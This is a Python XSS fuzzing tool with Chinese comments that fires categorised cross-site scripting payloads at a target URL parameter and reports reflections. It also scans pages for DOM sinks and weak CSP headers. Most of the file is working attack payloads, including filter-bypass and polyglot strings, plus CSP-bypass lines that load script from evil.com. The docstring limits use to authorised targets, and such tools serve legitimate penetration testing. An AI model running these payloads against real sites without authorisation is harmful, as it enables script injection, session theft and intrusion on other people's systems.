415 行
14 KiB
Python
415 行
14 KiB
Python
#!/usr/bin/env python3
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"""
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XSS Fuzzer - XSS Payload 模糊测试工具
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支持:
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- 反射型 XSS 检测
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- 存储型 XSS 检测
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- DOM 型 XSS 检测
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- CSP 绕过测试
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- 自定义 Payload
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Usage:
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python3 xss-fuzzer.py -u "http://target.com/search?q=test"
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python3 xss-fuzzer.py -u "http://target.com/comment" -d "comment=test" -m POST
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python3 xss-fuzzer.py -u "http://target.com" --dom-scan
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授权边界:
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- 仅用于自有资产、测试环境或已明确授权的目标
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- 对公网资产执行验证时，应使用最小化回显验证和可审计测试记录
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- 不面向无授权第三方网站或公共站点
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"""
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import argparse
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import requests
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import re
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import urllib.parse
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from typing import List, Dict, Tuple, Optional
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import time
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class Colors:
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RED = "\033[91m"
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GREEN = "\033[92m"
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YELLOW = "\033[93m"
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BLUE = "\033[94m"
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CYAN = "\033[96m"
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END = "\033[0m"
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BOLD = "\033[1m"
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class XSSFuzzer:
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def __init__(self, timeout: int = 10):
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self.timeout = timeout
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self.session = requests.Session()
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self.session.headers.update(
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{
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
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}
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)
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self.payloads = {
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"basic": [
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"<script>alert('XSS')</script>",
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"<script>alert(1)</script>",
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"<script>alert(document.domain)</script>",
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"<img src=x onerror=alert(1)>",
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"<img src=x onerror=alert('XSS')>",
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"<svg onload=alert(1)>",
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"<svg/onload=alert(1)>",
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"<body onload=alert(1)>",
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"<iframe src='javascript:alert(1)'>",
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"'\"><script>alert(1)</script>",
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],
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"event_handlers": [
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'"onfocus=alert(1) autofocus=',
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"'onfocus=alert(1) autofocus='",
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'"onmouseover=alert(1)//',
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"'onmouseover=alert(1)//",
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'"onclick=alert(1)//',
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"'onclick=alert(1)//",
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'"onerror=alert(1)//',
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'"onload=alert(1)//',
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'"oninput=alert(1)//',
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'"onchange=alert(1)//',
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],
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"tag_injection": [
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"<img src=x onerror=alert(1)//",
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"<svg/onload=alert(1)//",
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"<body/onload=alert(1)//",
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"<video src=x onerror=alert(1)>",
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"<audio src=x onerror=alert(1)>",
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"<input onfocus=alert(1) autofocus>",
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"<marquee onstart=alert(1)>",
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"<details open ontoggle=alert(1)>",
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"<embed src=javascript:alert(1)>",
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"<object data=javascript:alert(1)>",
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],
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"encoding": [
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"%3Cscript%3Ealert(1)%3C/script%3E",
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"<script>alert(1)</script>",
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"<script>alert(1)</script>",
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"\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
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"\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
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],
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"csp_bypass": [
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"<script/src='https://evil.com/xss.js'></script>",
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"<link rel=import href='https://evil.com/xss.html'>",
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"<object/data='javascript:alert(1)'>",
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"<embed/src='javascript:alert(1)'>",
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"<form><button formaction=javascript:alert(1)>Click",
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],
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"filter_bypass": [
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"<ScRiPt>alert(1)</ScRiPt>",
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"<SCRIPT>alert(1)</SCRIPT>",
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"<script >alert(1)</script >",
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"<script\n>alert(1)</script\n>",
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"<script\t>alert(1)</script\t>",
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"<script\x00>alert(1)</script>",
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"<scr<script>ipt>alert(1)</scr</script>ipt>",
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"<<script>script>alert(1)//<</script>/script>",
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],
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"polyglot": [
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"jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
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'\'">><marquee><img src=x onerror=alert(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)>',
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"<svg/onload=alert(1)>'-alert(1)-'",
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'"><script>alert(1)</script><img src=x onerror=alert(1)>',
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"javascript:alert(1)//';alert(String.fromCharCode(88,83,83))//",
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],
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}
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self.dom_sinks = [
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"document.write",
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"document.writeln",
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"document.domain",
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"element.innerHTML",
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"element.outerHTML",
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"eval",
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"setTimeout",
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"setInterval",
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"Function",
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"location",
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"location.href",
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"location.replace",
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"location.assign",
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"window.open",
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"document.cookie",
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]
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def print_result(self, level: str, msg: str):
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colors = {
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"INFO": Colors.BLUE,
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"SUCCESS": Colors.GREEN,
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"WARNING": Colors.YELLOW,
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"ERROR": Colors.RED,
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"VULN": Colors.RED + Colors.BOLD,
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}
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print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
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def test_reflected(
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self,
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url: str,
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param: str,
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method: str = "GET",
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data: Dict = None,
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cookies: Dict = None,
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) -> List[Dict]:
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"""测试反射型 XSS"""
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results = []
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for category, payloads in self.payloads.items():
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self.print_result("INFO", f"测试 Payload 类别: {category}")
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for payload in payloads:
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test_data = data.copy() if data else {}
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test_data[param] = payload
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try:
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if method.upper() == "GET":
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params = urllib.parse.urlencode(test_data)
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full_url = f"{url}?{params}"
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resp = self.session.get(
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full_url,
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cookies=cookies,
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timeout=self.timeout,
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verify=False,
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)
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else:
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resp = self.session.post(
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url,
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data=test_data,
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cookies=cookies,
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timeout=self.timeout,
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verify=False,
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)
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if payload in resp.text:
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result = {
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"type": "Reflected XSS",
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"category": category,
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"param": param,
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"payload": payload,
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"evidence": f"Payload 在响应中找到",
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"url": full_url if method == "GET" else url,
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}
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results.append(result)
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self.print_result(
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"VULN", f"[{category}] {param} - {payload[:50]}..."
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)
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time.sleep(0.1)
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except Exception as e:
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continue
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return results
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def test_context(
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self,
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url: str,
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param: str,
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method: str = "GET",
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data: Dict = None,
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cookies: Dict = None,
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) -> Dict:
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"""分析注入上下文"""
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test_payloads = [
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("'", "Single Quote"),
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('"', "Double Quote"),
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("<", "Less Than"),
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(">", "Greater Than"),
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("&", "Ampersand"),
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("${", "Template Literal"),
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("{{", "Template Expression"),
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]
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contexts = {}
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for payload, desc in test_payloads:
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test_data = data.copy() if data else {}
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test_data[param] = payload
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try:
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if method.upper() == "GET":
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params = urllib.parse.urlencode(test_data)
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full_url = f"{url}?{params}"
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resp = self.session.get(
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full_url, cookies=cookies, timeout=self.timeout, verify=False
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)
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else:
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resp = self.session.post(
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url,
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data=test_data,
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cookies=cookies,
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timeout=self.timeout,
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verify=False,
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)
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if payload in resp.text:
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contexts[desc] = "未过滤"
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else:
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contexts[desc] = "已过滤"
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except Exception:
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contexts[desc] = "请求失败"
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return contexts
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def scan_dom_xss(self, url: str, cookies: Dict = None) -> List[Dict]:
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"""扫描 DOM XSS 漏洞"""
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results = []
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try:
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resp = self.session.get(
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url, cookies=cookies, timeout=self.timeout, verify=False
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)
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html = resp.text
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patterns = [
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(r"document\.write\s*\([^)]*location", "document.write with location"),
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(
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r"document\.write\s*\([^)]*location\.hash",
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"document.write with location.hash",
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),
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(r"element\.innerHTML\s*=\s*[^;]*location", "innerHTML with location"),
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(r"eval\s*\([^)]*location", "eval with location"),
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(r"setTimeout\s*\([^)]*location", "setTimeout with location"),
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(r"\$\{[^}]*location", "Template literal with location"),
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(r"window\.location\.hash", "location.hash usage"),
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(r"document\.URL", "document.URL usage"),
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(r"document\.documentURI", "document.documentURI usage"),
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(r"document\.baseURI", "document.baseURI usage"),
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]
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for pattern, desc in patterns:
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if re.search(pattern, html, re.IGNORECASE):
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results.append(
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{
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"type": "Potential DOM XSS",
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"pattern": pattern,
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"description": desc,
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}
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)
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self.print_result("WARNING", f"发现潜在 DOM XSS: {desc}")
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except Exception as e:
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self.print_result("ERROR", f"扫描失败: {e}")
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return results
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def check_csp(self, url: str, cookies: Dict = None) -> Dict:
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"""检查 CSP 策略"""
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result = {"has_csp": False, "csp_header": None, "weaknesses": []}
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try:
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resp = self.session.get(
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url, cookies=cookies, timeout=self.timeout, verify=False
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)
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csp = resp.headers.get("Content-Security-Policy")
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if csp:
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result["has_csp"] = True
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result["csp_header"] = csp
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if "unsafe-inline" in csp:
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result["weaknesses"].append("允许内联脚本 (unsafe-inline)")
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if "unsafe-eval" in csp:
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result["weaknesses"].append("允许 eval (unsafe-eval)")
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if "*" in csp:
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result["weaknesses"].append("使用通配符 (*)")
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if "data:" in csp:
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result["weaknesses"].append("允许 data: 协议")
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if "http:" in csp:
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result["weaknesses"].append("允许不安全 HTTP")
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else:
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result["weaknesses"].append("未配置 CSP")
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except Exception as e:
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result["error"] = str(e)
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return result
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def main():
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parser = argparse.ArgumentParser(description="XSS Fuzzer")
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parser.add_argument("-u", "--url", required=True, help="目标URL")
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parser.add_argument("-p", "--param", default="q", help="测试参数")
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parser.add_argument(
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"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
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)
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parser.add_argument("-d", "--data", help="POST数据")
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parser.add_argument("-c", "--cookie", help="Cookie")
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parser.add_argument("--dom-scan", action="store_true", help="扫描DOM XSS")
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parser.add_argument("--check-csp", action="store_true", help="检查CSP策略")
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parser.add_argument(
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"--all-categories", action="store_true", help="测试所有Payload类别"
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)
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parser.add_argument("--timeout", type=int, default=10, help="超时时间")
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args = parser.parse_args()
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requests.packages.urllib3.disable_warnings()
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fuzzer = XSSFuzzer(timeout=args.timeout)
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print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
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print(f"{Colors.BOLD}XSS Fuzzer{Colors.END}")
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print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
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data = {}
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if args.data:
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for pair in args.data.split("&"):
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if "=" in pair:
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k, v = pair.split("=", 1)
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data[k] = v
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cookies = {}
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if args.cookie:
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for pair in args.cookie.split(";"):
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if "=" in pair:
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k, v = pair.strip().split("=", 1)
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cookies[k] = v
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if args.check_csp:
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fuzzer.print_result("INFO", "检查 CSP 策略...")
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csp_result = fuzzer.check_csp(args.url, cookies)
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if csp_result["has_csp"]:
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fuzzer.print_result(
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"SUCCESS", f"CSP 已配置: {csp_result['csp_header'][:100]}..."
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)
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for w in csp_result["weaknesses"]:
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fuzzer.print_result("WARNING", f" - {w}")
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else:
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fuzzer.print_result("WARNING", "未配置 CSP!")
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for w in csp_result["weaknesses"]:
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fuzzer.print_result("WARNING", f" - {w}")
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if args.dom_scan:
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fuzzer.print_result("INFO", "扫描 DOM XSS...")
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dom_results = fuzzer.scan_dom_xss(args.url, cookies)
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for r in dom_results:
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fuzzer.print_result("WARNING", f" - {r['description']}")
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fuzzer.print_result("INFO", f"测试参数: {args.param}")
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context = fuzzer.test_context(args.url, args.param, args.method, data, cookies)
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fuzzer.print_result("INFO", "上下文分析:")
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for ctx, status in context.items():
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color = Colors.YELLOW if status == "未过滤" else Colors.GREEN
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print(f" {color}{ctx}: {status}{Colors.END}")
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results = fuzzer.test_reflected(args.url, args.param, args.method, data, cookies)
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print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
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if results:
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fuzzer.print_result("SUCCESS", f"发现 {len(results)} 个 XSS 漏洞!")
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for r in results:
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print(f" - [{r['category']}] {r['param']}: {r['payload'][:60]}...")
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else:
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fuzzer.print_result("INFO", "未发现反射型 XSS 漏洞")
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print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
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if __name__ == "__main__":
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main()
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